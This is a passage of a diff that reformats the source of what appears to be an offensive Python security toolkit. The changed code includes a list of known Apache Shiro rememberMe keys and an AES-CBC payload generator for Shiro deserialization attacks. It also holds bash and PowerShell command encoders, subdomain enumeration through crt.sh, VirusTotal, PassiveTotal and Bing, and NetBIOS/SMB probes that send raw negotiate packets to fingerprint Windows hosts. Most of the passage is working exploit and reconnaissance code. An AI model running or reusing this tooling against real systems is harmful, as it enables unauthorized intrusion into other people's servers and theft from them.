0xFF] + ^ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] + ^ self.T4[t[(i + s3) % 4] & 0xFF] + ^ self._Ke[r][i] + ) t = copy.copy(a) # The last round is special @@ -4442,13 +4592,13 @@ def _compact_word(word): tt = self._Ke[rounds][i] result.append((self.S[(t[i] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) - result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.S[t[(i + s3) % 4] & 0xFF] ^ tt) & 0xFF) return result -class AESModeOfOperationCBC: +class AESModeOfOperationCBC: def __init__(self, key, iv=None): self._aes = AES(key) if iv is None: @@ -4465,7 +4615,7 @@ def _string_to_bytes(self, text): def encrypt(self, plaintext): plaintext = self._string_to_bytes(plaintext) - precipherblock = [(p^l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + precipherblock = [(p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock)] self._last_cipherblock = self._aes.encrypt(precipherblock) def _bytes_to_string(binary): @@ -4473,62 +4623,109 @@ def _bytes_to_string(binary): return bytes(binary) return "".join(chr(b) for b in binary) - return _bytes_to_string(self._last_cipherblock) -class shiro_key_generate: +class shiro_key_generate: def keys(self): return ( - "4AvVhmFLUs0KTA3Kprsdag==", "kPH+bIxk5D2deZiIxcaaaA==", - "Z3VucwAAAAAAAAAAAAAAAA==", "fCq+/xW488hMTCD+cmJ3aQ==", - "0AvVhmFLUs0KTA3Kprsdag==", "1AvVhdsgUs0FSA3SDFAdag==", - "1QWLxg+NYmxraMoxAXu/Iw==", "25BsmdYwjnfcWmnhAciDDg==", - "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==", - "3JvYhmBLUs0ETA5Kprsdag==", "r0e3c16IdVkouZgk1TKVMg==", - "5aaC5qKm5oqA5pyvAAAAAA==", "5AvVhmFLUs0KTA3Kprsdag==", - "6AvVhmFLUs0KTA3Kprsdag==", "6NfXkC7YVCV5DASIrEm1Rg==", - "6ZmI6I2j5Y+R5aSn5ZOlAA==", "cmVtZW1iZXJNZQAAAAAAAA==", - "7AvVhmFLUs0KTA3Kprsdag==", "8AvVhmFLUs0KTA3Kprsdag==", - "8BvVhmFLUs0KTA3Kprsdag==", "9AvVhmFLUs0KTA3Kprsdag==", - "OUHYQzxQ/W9e/UjiAGu6rg==", "a3dvbmcAAAAAAAAAAAAAAA==", - "aU1pcmFjbGVpTWlyYWNsZQ==", "bWljcm9zAAAAAAAAAAAAAA==", - "bWluZS1hc3NldC1rZXk6QQ==", "bXRvbnMAAAAAAAAAAAAAAA==", - "ZUdsaGJuSmxibVI2ZHc9PQ==", "wGiHplamyXlVB11UXWol8g==", - "U3ByaW5nQmxhZGUAAAAAAA==", "MTIzNDU2Nzg5MGFiY2RlZg==", - "L7RioUULEFhRyxM7a2R/Yg==", "a2VlcE9uR29pbmdBbmRGaQ==", - "WcfHGU25gNnTxTlmJMeSpw==", "XgGkgqGqYrix9lI6vxcrRw==", - "OY//C4rhfwNxCQAQCrQQ1Q==", "5J7bIJIV0LQSN3c9LPitBQ==", - "f/SY5TIve5WWzT4aQlABJA==", "bya2HkYo57u6fWh5theAWw==", - "WuB+y2gcHRnY2Lg9+Aqmqg==", "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", - "3qDVdLawoIr1xFd6ietnwg==", "YI1+nBV//m7ELrIyDHm6DQ==", - "6Zm+6I2j5Y+R5aS+5ZOlAA==", "2A2V+RFLUs+eTA3Kpr+dag==", - "6ZmI6I2j3Y+R1aSn5BOlAA==", "SkZpbmFsQmxhZGUAAAAAAA==", - "2cVtiE83c4lIrELJwKGJUw==", "SDKOLKn2J1j/2BHjeZwAoQ==", - "fsHspZw/92PrS3XrPW+vxw==", "XTx6CKLo/SdSgub+OPHSrw==", - "sHdIjUN6tzhl8xZMG3ULCQ==", "O4pdf+7e+mZe8NyxMTPJmQ==", - "HWrBltGvEZc14h9VpMvZWw==", "rPNqM6uKFCyaL10AK51UkQ==", - "Y1JxNSPXVwMkyvES/kJGeQ==", "lT2UvDUmQwewm6mMoiw4Ig==", - "MPdCMZ9urzEA50JDlDYYDg==", "xVmmoltfpb8tTceuT5R7Bw==", - "c+3hFGPjbgzGdrC+MHgoRQ==", "ClLk69oNcA3m+s0jIMIkpg==", - "Bf7MfkNR0axGGptozrebag==", "1tC/xrDYs8ey+sa3emtiYw==", - "ZmFsYWRvLnh5ei5zaGlybw==", "cGhyYWNrY3RmREUhfiMkZA==", - "IduElDUpDDXE677ZkhhKnQ==", "yeAAo1E8BOeAYfBlm4NG9Q==", - "cGljYXMAAAAAAAAAAAAAAA==", "2itfW92XazYRi5ltW0M2yA==", - "ertVhmFLUs0KTA3Kprsdag==", "5AvVhmFLUS0ATA4Kprsdag==", - "s0KTA3mFLUprK4AvVhsdag==", "hBlzKg78ajaZuTE0VLzDDg==", - "9FvVhtFLUs0KnA3Kprsdyg==", "d2ViUmVtZW1iZXJNZUtleQ==", - "yNeUgSzL/CfiWw1GALg6Ag==", "NGk/3cQ6F5/UNPRh8LpMIg==", - "4BvVhmFLUs0KTA3Kprsdag==", "MzVeSkYyWTI2OFVLZjRzZg==", - "empodDEyMwAAAAAAAAAAAA==", "A7UzJgh1+EWj5oBFi+mSgw==", - "c2hpcm9fYmF0aXMzMgAAAA==", "i45FVt72K2kLgvFrJtoZRw==", - "U3BAbW5nQmxhZGUAAAAAAA==", "ZnJlc2h6Y24xMjM0NTY3OA==", - "Jt3C93kMR9D5e8QzwfsiMw==", "MTIzNDU2NzgxMjM0NTY3OA==", - "vXP33AonIp9bFwGl7aT7rA==", "V2hhdCBUaGUgSGVsbAAAAA==", - "Q01TX0JGTFlLRVlfMjAxOQ==", "ZAvph3dsQs0FSL3SDFAdag==", - "Is9zJ3pzNh2cgTHB4ua3+Q==", "NsZXjXVklWPZwOfkvk6kUA==", - "GAevYnznvgNCURavBhCr1w==", "66v1O8keKNV3TTcGPK1wzg==" - ) + "4AvVhmFLUs0KTA3Kprsdag==", + "kPH+bIxk5D2deZiIxcaaaA==", + "Z3VucwAAAAAAAAAAAAAAAA==", + "fCq+/xW488hMTCD+cmJ3aQ==", + "0AvVhmFLUs0KTA3Kprsdag==", + "1AvVhdsgUs0FSA3SDFAdag==", + "1QWLxg+NYmxraMoxAXu/Iw==", + "25BsmdYwjnfcWmnhAciDDg==", + "2AvVhdsgUs0FSA3SDFAdag==", + "3AvVhmFLUs0KTA3Kprsdag==", + "3JvYhmBLUs0ETA5Kprsdag==", + "r0e3c16IdVkouZgk1TKVMg==", + "5aaC5qKm5oqA5pyvAAAAAA==", + "5AvVhmFLUs0KTA3Kprsdag==", + "6AvVhmFLUs0KTA3Kprsdag==", + "6NfXkC7YVCV5DASIrEm1Rg==", + "6ZmI6I2j5Y+R5aSn5ZOlAA==", + "cmVtZW1iZXJNZQAAAAAAAA==", + "7AvVhmFLUs0KTA3Kprsdag==", + "8AvVhmFLUs0KTA3Kprsdag==", + "8BvVhmFLUs0KTA3Kprsdag==", + "9AvVhmFLUs0KTA3Kprsdag==", + "OUHYQzxQ/W9e/UjiAGu6rg==", + "a3dvbmcAAAAAAAAAAAAAAA==", + "aU1pcmFjbGVpTWlyYWNsZQ==", + "bWljcm9zAAAAAAAAAAAAAA==", + "bWluZS1hc3NldC1rZXk6QQ==", + "bXRvbnMAAAAAAAAAAAAAAA==", + "ZUdsaGJuSmxibVI2ZHc9PQ==", + "wGiHplamyXlVB11UXWol8g==", + "U3ByaW5nQmxhZGUAAAAAAA==", + "MTIzNDU2Nzg5MGFiY2RlZg==", + "L7RioUULEFhRyxM7a2R/Yg==", + "a2VlcE9uR29pbmdBbmRGaQ==", + "WcfHGU25gNnTxTlmJMeSpw==", + "XgGkgqGqYrix9lI6vxcrRw==", + "OY//C4rhfwNxCQAQCrQQ1Q==", + "5J7bIJIV0LQSN3c9LPitBQ==", + "f/SY5TIve5WWzT4aQlABJA==", + "bya2HkYo57u6fWh5theAWw==", + "WuB+y2gcHRnY2Lg9+Aqmqg==", + "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN", + "3qDVdLawoIr1xFd6ietnwg==", + "YI1+nBV//m7ELrIyDHm6DQ==", + "6Zm+6I2j5Y+R5aS+5ZOlAA==", + "2A2V+RFLUs+eTA3Kpr+dag==", + "6ZmI6I2j3Y+R1aSn5BOlAA==", + "SkZpbmFsQmxhZGUAAAAAAA==", + "2cVtiE83c4lIrELJwKGJUw==", + "SDKOLKn2J1j/2BHjeZwAoQ==", + "fsHspZw/92PrS3XrPW+vxw==", + "XTx6CKLo/SdSgub+OPHSrw==", + "sHdIjUN6tzhl8xZMG3ULCQ==", + "O4pdf+7e+mZe8NyxMTPJmQ==", + "HWrBltGvEZc14h9VpMvZWw==", + "rPNqM6uKFCyaL10AK51UkQ==", + "Y1JxNSPXVwMkyvES/kJGeQ==", + "lT2UvDUmQwewm6mMoiw4Ig==", + "MPdCMZ9urzEA50JDlDYYDg==", + "xVmmoltfpb8tTceuT5R7Bw==", + "c+3hFGPjbgzGdrC+MHgoRQ==", + "ClLk69oNcA3m+s0jIMIkpg==", + "Bf7MfkNR0axGGptozrebag==", + "1tC/xrDYs8ey+sa3emtiYw==", + "ZmFsYWRvLnh5ei5zaGlybw==", + "cGhyYWNrY3RmREUhfiMkZA==", + "IduElDUpDDXE677ZkhhKnQ==", + "yeAAo1E8BOeAYfBlm4NG9Q==", + "cGljYXMAAAAAAAAAAAAAAA==", + "2itfW92XazYRi5ltW0M2yA==", + "ertVhmFLUs0KTA3Kprsdag==", + "5AvVhmFLUS0ATA4Kprsdag==", + "s0KTA3mFLUprK4AvVhsdag==", + "hBlzKg78ajaZuTE0VLzDDg==", + "9FvVhtFLUs0KnA3Kprsdyg==", + "d2ViUmVtZW1iZXJNZUtleQ==", + "yNeUgSzL/CfiWw1GALg6Ag==", + "NGk/3cQ6F5/UNPRh8LpMIg==", + "4BvVhmFLUs0KTA3Kprsdag==", + "MzVeSkYyWTI2OFVLZjRzZg==", + "empodDEyMwAAAAAAAAAAAA==", + "A7UzJgh1+EWj5oBFi+mSgw==", + "c2hpcm9fYmF0aXMzMgAAAA==", + "i45FVt72K2kLgvFrJtoZRw==", + "U3BAbW5nQmxhZGUAAAAAAA==", + "ZnJlc2h6Y24xMjM0NTY3OA==", + "Jt3C93kMR9D5e8QzwfsiMw==", + "MTIzNDU2NzgxMjM0NTY3OA==", + "vXP33AonIp9bFwGl7aT7rA==", + "V2hhdCBUaGUgSGVsbAAAAA==", + "Q01TX0JGTFlLRVlfMjAxOQ==", + "ZAvph3dsQs0FSL3SDFAdag==", + "Is9zJ3pzNh2cgTHB4ua3+Q==", + "NsZXjXVklWPZwOfkvk6kUA==", + "GAevYnznvgNCURavBhCr1w==", + "66v1O8keKNV3TTcGPK1wzg==", + ) def generate_payload(self, key): BS = 16 @@ -4537,87 +4734,99 @@ def generate_payload(self, key): pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() iv = uuid.uuid4().bytes file_body = pad(bb) - aes = AESModeOfOperationCBC(base64.b64decode(key), iv = iv) + aes = AESModeOfOperationCBC(base64.b64decode(key), iv=iv) aa = b"" - for i in range(0, int(len(file_body)/16)): - caotm = file_body[16 * i: 16*(i+1)] + for i in range(0, int(len(file_body) / 16)): + caotm = file_body[16 * i : 16 * (i + 1)] aa += aes.encrypt(caotm) - base64_aa = base64.b64encode(iv+aa) + base64_aa = base64.b64encode(iv + aa) return base64_aa -def hcode(method,strings): +def hcode(method, strings): if PYVERSION > "3.0": print(bingo("-") + " Please use python 2.x") sys.exit() - + ucode = coding() if method == "f5": - print(r""" + print( + r""" __ _____ _ _ / _| ____| | | | | | |_| |__ __| | ___ ___ ___ __| | ___ | _|___ \ / _` |/ _ \/ __/ _ \ / _` |/ _ \ | | ___) | (_| | __/ (_| (_) | (_| | __/ |_| |____/ \__,_|\___|\___\___/ \__,_|\___| - """) + """ + ) ucode.f5(strings) elif method == "bh": - print(r""" + print( + r""" _ _ | |__ ___ ___ __| | ___ | "_ \ / __/ _ \ / _` |/ _ \ | |_) | (_| (_) | (_| | __/ |_.__/ \___\___/ \__,_|\___| - """) + """ + ) ucode.bash(strings) elif method == "pw": - print(r""" + print( + r""" _ ____ _____ ___ _ __ ___ ___ __| | ___ | "_ \ \ /\ / / _ \ / _ \ "__/ __/ _ \ / _` |/ _ \ | |_) \ V V / (_) | __/ | | (_| (_) | (_| | __/ | .__/ \_/\_/ \___/ \___|_| \___\___/ \__,_|\___| |_| - """) + """ + ) ucode.powershell(strings) elif method == "seeyon": - print(r""" + print( + r""" ____ / __/__ ___ __ _____ ___ _\ \/ -_) -_) // / _ \/ _ \ /___/\__/\__/\_, /\___/_//_/ /___/ - """) + """ + ) ucode.seeyon(strings) - - # rows, columns = os.popen("stty size", "r").read().split() class ProgressBar: DEFAULT = "Progress: %(bar)s %(percent)3d%%" - FULL = "%(bar)s %(current)d" + yellow("/") + "%(total)d (%(percent)3d%%) %(remaining)d " + yellow("to Go")+"\r" + FULL = ( + "%(bar)s %(current)d" + + yellow("/") + + "%(total)d (%(percent)3d%%) %(remaining)d " + + yellow("to Go") + + "\r" + ) - def __init__(self, total, width=30, fmt=DEFAULT, symbol=yellow(">"), output=sys.stdout): - #assert len(symbol) == 1 + def __init__( + self, total, width=30, fmt=DEFAULT, symbol=yellow(">"), output=sys.stdout + ): + # assert len(symbol) == 1 global locks self.total = total self.width = width self.symbol = symbol self.output = output - self.fmt = re.sub(r"(?P%\(.+?\))d", - r"\g%dd" % len(str(total)), fmt) + self.fmt = re.sub(r"(?P%\(.+?\))d", r"\g%dd" % len(str(total)), fmt) self.current = 0 self.lock = locks - def __call__(self): - + percent = self.current / float(self.total) size = int(self.width * percent) remaining = self.total - self.current @@ -4628,7 +4837,7 @@ def __call__(self): "bar": bar, "current": self.current, "percent": percent * 100, - "remaining": remaining + "remaining": remaining, } self.lock.acquire(1) @@ -4638,7 +4847,6 @@ def __call__(self): self.lock.release() time.sleep(0.01) - def dones(self): self.current = self.total self() @@ -4646,7 +4854,8 @@ def dones(self): sys.stdout.flush() self() -progress = ProgressBar(999999, fmt=ProgressBar.FULL) # global process_bar + +progress = ProgressBar(999999, fmt=ProgressBar.FULL) # global process_bar progress_num = 0 temp = 0 scaned = 0 @@ -4654,6 +4863,7 @@ def dones(self): headers = {} + def swithHeader(options): global headers user_agent = [ @@ -4674,24 +4884,16 @@ def swithHeader(options): ] UserAgent = random.choice(user_agent) if "sscan" in options: - headers = { - "User-Agent": UserAgent, - "Accept": "*/*", - "Connection": "close" - } + headers = {"User-Agent": UserAgent, "Accept": "*/*", "Connection": "close"} elif type(options) == dict: - headers = { - "User-Agent": UserAgent, - "Accept": "*/*", - "Connection": "close" - } + headers = {"User-Agent": UserAgent, "Accept": "*/*", "Connection": "close"} headers.update(options) else: headers = { "User-Agent": UserAgent, "Accept": "*/*", "Cookie": "rememberMe=xxx", - "Connection": "close" + "Connection": "close", } @@ -4712,22 +4914,20 @@ def swithHeader(options): b"\x00": "Domain Name", b"\x1C": "Domain Controllers", b"\x1E": "Browser Service Elections", - } NetBIOS_ITEM_TYPE = { - b"\x01\x00":"NetBIOS computer name", - b"\x02\x00":"NetBIOS domain name", - b"\x03\x00":"DNS computer name", - b"\x04\x00":"DNS domain name", - b"\x05\x00":"DNS tree name", - - b"\x07\x00":"Time stamp", + b"\x01\x00": "NetBIOS computer name", + b"\x02\x00": "NetBIOS domain name", + b"\x03\x00": "DNS computer name", + b"\x04\x00": "DNS domain name", + b"\x05\x00": "DNS tree name", + b"\x07\x00": "Time stamp", } -# duplicate remove for subdomain +# duplicate remove for subdomain def duprm(*subs): subdomain = [] for esubs in subs: @@ -4742,6 +4942,7 @@ def __init__(self, query): self.query = query self.apikey = Account().Vtapikey() self.total = 4 + def crtscan(self): try: from urllib import quote @@ -4759,15 +4960,23 @@ def crtscan(self): crt.add_handler(urllib2.ProxyHandler({"https": proxy_host})) elif proxy_type == "socks5": proxy_h, proxy_port = proxy_host.split(":") - crt.add_handler(SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port) )) + crt.add_handler( + SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port)) + ) elif proxy_type == "socks4": proxy_h, proxy_port = proxy_host.split(":") - crt.add_handler(SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port) )) + crt.add_handler( + SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port)) + ) crt_result = crt.open(req, timeout=30).read() crt_result = crt_result.decode("utf-8") - for cert, domain in re.findall('(?:\s|\S)*?href="\?id=([0-9]+?)"(?:\s|\S)*?([*_a-zA-Z0-9.-]+?\.' \ - + re.escape(self.query) + ')(?:\s|\S)*?',\ - crt_result, re.IGNORECASE): + for cert, domain in re.findall( + '(?:\s|\S)*?href="\?id=([0-9]+?)"(?:\s|\S)*?([*_a-zA-Z0-9.-]+?\.' + + re.escape(self.query) + + ")(?:\s|\S)*?", + crt_result, + re.IGNORECASE, + ): domain = domain.split("@")[-1] domains.add(domain) @@ -4787,34 +4996,40 @@ def crtscan(self): def vtsubdomain(self): result = [] try: - urlapi = "https://www.virustotal.com/vtapi/v2/domain/report?apikey=%s&domain=%s" % (self.apikey, self.query) + urlapi = ( + "https://www.virustotal.com/vtapi/v2/domain/report?apikey=%s&domain=%s" + % (self.apikey, self.query) + ) ho = urllib2.OpenerDirector() ho.add_handler(urllib2.HTTPSHandler()) req = urllib2.Request(urlapi) if proxy_type and proxy_host: if proxy_type == "http": - ho.add_handler(urllib2.ProxyHandler({"https":proxy_host})) + ho.add_handler(urllib2.ProxyHandler({"https": proxy_host})) elif proxy_type == "socks5": proxy_h, proxy_port = proxy_host.split(":") - ho.add_handler(SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port) )) + ho.add_handler( + SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port)) + ) elif proxy_type == "socks4": proxy_h, proxy_port = proxy_host.split(":") - ho.add_handler(SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port) )) + ho.add_handler( + SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port)) + ) r = ho.open(req, timeout=30) r = json.loads(r.read()) - if "subdomains" in r.keys() : + if "subdomains" in r.keys(): for res in r["subdomains"]: result.append(res.split("." + self.query)[0]) vtsing = info("VTS Request ") + str(len(result)) + " | " sys.stdout.write(vtsing) sys.stdout.flush() except Exception as e: - vtsing = PASSAT("VTS Request error") + " | " + vtsing = PASSAT("VTS Request error") + " | " sys.stdout.write(vtsing) sys.stdout.flush() return result - def passivetotal_get(self, path, json_using=True): """ passivetotal api for get subdomain @@ -4822,13 +5037,14 @@ def passivetotal_get(self, path, json_using=True): keylist = Account().Riskiqkey() - # Adaptor python3 + # Adaptor python3 if PYVERSION > "3.0": from urllib.parse import quote + urllib.quote = quote def readapi(): - + auth = random.choice(keylist) auth_index = keylist.index(auth) @@ -4838,9 +5054,9 @@ def readapi(): querys = urllib.quote(self.query) data = {"query": querys} - headers = {"Content-Type":"application/json"} + headers = {"Content-Type": "application/json"} - # Adaptor python3 + # Adaptor python3 try: base64string = base64.b64encode("%s:%s" % auth) @@ -4849,11 +5065,10 @@ def readapi(): b2encode = b2encode.encode("gb2312") base64string = base64.b64encode(b2encode).decode("utf-8") - try: if json_using: - # Adaptor python3 + # Adaptor python3 if PYVERSION > "3.0": d = json.dumps(data) d = d.encode("utf-8") @@ -4864,7 +5079,6 @@ def readapi(): request = urllib2.Request(url) request.add_header("Authorization", "Basic %s" % base64string) - res = urllib2.urlopen(request, timeout=10) return res.read() except urllib2.HTTPError as e: @@ -4881,11 +5095,12 @@ def readapi(): if "timed out" in str(e): return "timeout" return None + result = readapi() - while result =="402" or result == "401" or result == "timeout" : + while result == "402" or result == "401" or result == "timeout": if len(keylist) < 1: pass - result=readapi() + result = readapi() return result def bing_domain(self): @@ -4896,17 +5111,23 @@ def bing_domain(self): # Location banner of bing ho = urllib2.OpenerDirector() ho.add_handler(urllib2.HTTPSHandler()) - ho.add_handler(urllib2.HTTPSHandler(context=_create_unverified_https_context())) + ho.add_handler( + urllib2.HTTPSHandler(context=_create_unverified_https_context()) + ) req = urllib2.Request("https://bing.com", headers=bing_header) if proxy_type and proxy_host: if proxy_type == "http": - ho.add_handler(urllib2.ProxyHandler({"https":proxy_host})) + ho.add_handler(urllib2.ProxyHandler({"https": proxy_host})) elif proxy_type == "socks5": proxy_h, proxy_port = proxy_host.split(":") - ho.add_handler(SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port) )) + ho.add_handler( + SocksiPyHandler(socks.SOCKS5, proxy_h, int(proxy_port)) + ) elif proxy_type == "socks4": proxy_h, proxy_port = proxy_host.split(":") - ho.add_handler(SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port) )) + ho.add_handler( + SocksiPyHandler(socks.SOCKS4, proxy_h, int(proxy_port)) + ) r = ho.open(req, timeout=3) localhost = r.info()["Location"] @@ -4916,19 +5137,19 @@ def bing_domain(self): req = urllib2.Request(localhost, headers=bing_header) r = ho.open(req, timeout=3) - bing_header.update({ - "Cookie": r.info()["Set-Cookie"] - }) + bing_header.update({"Cookie": r.info()["Set-Cookie"]}) first = 0 while True: - urlapi = localhost + "/search?q=site:%s&first=%d&count=50" % (self.query, first) + urlapi = localhost + "/search?q=site:%s&first=%d&count=50" % ( + self.query, + first, + ) try: req = urllib2.Request(urlapi, headers=bing_header) r = ho.open(req, timeout=15) except Exception as e: break - data = r.read().decode() pattern = re.compile(r"\") patchs = pattern.findall(data) @@ -4954,15 +5175,16 @@ def bing_domain(self): sys.stdout.flush() except Exception as e: - binging = PASSAT("BING Request error") + " | " + binging = PASSAT("BING Request error") + " | " sys.stdout.write(binging) sys.stdout.flush() return result + def to_ips(raw): - # TODO: calculate the capacity + # TODO: calculate the capacity if containenglish(raw): yield raw @@ -4970,14 +5192,20 @@ def to_ips(raw): addr, mask = raw.split("/") mask = int(mask) - bin_addr = "".join([ (8 - len(bin(int(i))[2:])) * "0" + bin(int(i))[2:] for i in addr.split(".")]) + bin_addr = "".join( + [ + (8 - len(bin(int(i))[2:])) * "0" + bin(int(i))[2:] + for i in addr.split(".") + ] + ) start = bin_addr[:mask] + (32 - mask) * "0" end = bin_addr[:mask] + (32 - mask) * "1" # num = int(start, 2) ^ int(end, 2) for i in range(int(start, 2), int(end, 2) + 1): bin_addr = (32 - len(bin(int(i))[2:])) * "0" + bin(i)[2:] - yield ".".join([str(int(bin_addr[8 * i: 8 * (i + 1)], 2)) for i in range(0, 4)]) - + yield ".".join( + [str(int(bin_addr[8 * i : 8 * (i + 1)], 2)) for i in range(0, 4)] + ) elif "-" in raw: @@ -4990,11 +5218,14 @@ def to_ips(raw): for i in range(start, end + 1): yield prefix + "." + str(i) - elif re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", raw): + elif re.match( + r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", + raw, + ): start, end = [ip2num(x) for x in raw.split("-")] # num = end - start for num in range(start, end + 1): - if not num & 0xff: + if not num & 0xFF: continue yield num2ip(num) @@ -5016,58 +5247,58 @@ def nbns_name(addr): if isinstance(rep, str): rep = bytes(rep) - num = ord(rep[56:57].decode()) - data = rep[57:] + num = ord(rep[56:57].decode()) + data = rep[57:] group, unique = "", "" - + msg += "--------------------------" + "\n" for i in range(num): - name = data[18 * i:18 *i + 15].decode() - flag_bit = bytes(data[18 * i + 15:18 *i + 16]) - - if flag_bit in GROUP_NAMES and flag_bit != b"\x00": + name = data[18 * i : 18 * i + 15].decode() + flag_bit = bytes(data[18 * i + 15 : 18 * i + 16]) + + if flag_bit in GROUP_NAMES and flag_bit != b"\x00": msg += "%s\t%s\t%s" % (name, "G", GROUP_NAMES[flag_bit]) + "\n" - elif flag_bit in UNIQUE_NAMES and flag_bit != b"\x00": + elif flag_bit in UNIQUE_NAMES and flag_bit != b"\x00": msg += "%s\t%s\t%s" % (name, "U", UNIQUE_NAMES[flag_bit]) + "\n" - + elif flag_bit in b"\x00": - name_flags = data[18*i + 16: 18*i + 18] + name_flags = data[18 * i + 16 : 18 * i + 18] if ord(name_flags[0:1]) >= 128: group = name.strip() - + msg += "%s\t%s\t%s" % (name, "G", GROUP_NAMES[flag_bit]) + "\n" else: unique = name msg += "%s\t%s\t%s" % (name, "U", UNIQUE_NAMES[flag_bit]) + "\n" else: msg += "%s\t-\t-" % name + "\n" - + msg += "--------------------------" + "\n" - + msg = "%s\\%s" % (group, unique) + "\n" + msg - return { "group": group, "unique": unique, "msg": msg } - + return {"group": group, "unique": unique, "msg": msg} + except socket.error as e: return False -def netbios_encode(src): - +def netbios_encode(src): + src = src.ljust(16, "\x20") names = [] for c in src: char_ord = ord(c) high_4_bits = char_ord >> 4 - low_4_bits = char_ord & 0x0f + low_4_bits = char_ord & 0x0F names.append(high_4_bits) names.append(low_4_bits) - + res = b"" for name in names: - + res += chr(0x41 + name).encode() return res @@ -5080,19 +5311,19 @@ def smb_detect(addr, lock, ports=139): if ports == "": port = 139 else: - port=int(ports) + port = int(ports) if port == 139: nbns_result = nbns_name(addr) if not nbns_result: return elif not nbns_result["unique"]: - + msg += "nbns_result_error" lock.acquire() print(addr + " " + msg) lock.release() return - + msg += nbns_result["msg"] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -5108,82 +5339,92 @@ def smb_detect(addr, lock, ports=139): if port == 139: name = netbios_encode(nbns_result["unique"]) - - payload0 = b"\x81\x00\x00D " + name + b"\x00 EOENEBFACACACACACACACACACACACACA\x00" - + + payload0 = ( + b"\x81\x00\x00D " + name + b"\x00 EOENEBFACACACACACACACACACACACACA\x00" + ) + s.send(payload0) s.recv(1024) - + payload1 = b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00" payload2 = b"\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00" - + s.send(payload1) s.recv(1024) s.send(payload2) - ret = s.recv(1024) - length = ord(ret[43: 44]) + ord(ret[44: 45]) * 256 - os_version = ret[47 + length:] - - msg += os_version.replace(b"\x00\x00", b"|").replace(b"\x00", b"").decode("UTF-8", errors="ignore") + "\n" + length = ord(ret[43:44]) + ord(ret[44:45]) * 256 + os_version = ret[47 + length :] + + msg += ( + os_version.replace(b"\x00\x00", b"|") + .replace(b"\x00", b"") + .decode("UTF-8", errors="ignore") + + "\n" + ) start = ret.find(b"NTLMSSP") - - - length = ord(ret[start + 40: start + 41]) + ord(ret[start + 41: start + 42]) * 256 - - - - offset = ord(ret[start + 44: start + 45]) - - - - msg += "Major Version: %d" % ord(ret[start + 48: start + 49]) + "\n" - - msg += "Minor Version: %d" % ord(ret[start + 49: start + 50]) + "\n" - - msg += "Bulid Number: %d" % (ord(ret[start + 50: start + 51]) + 256 * ord(ret[start + 51: start + 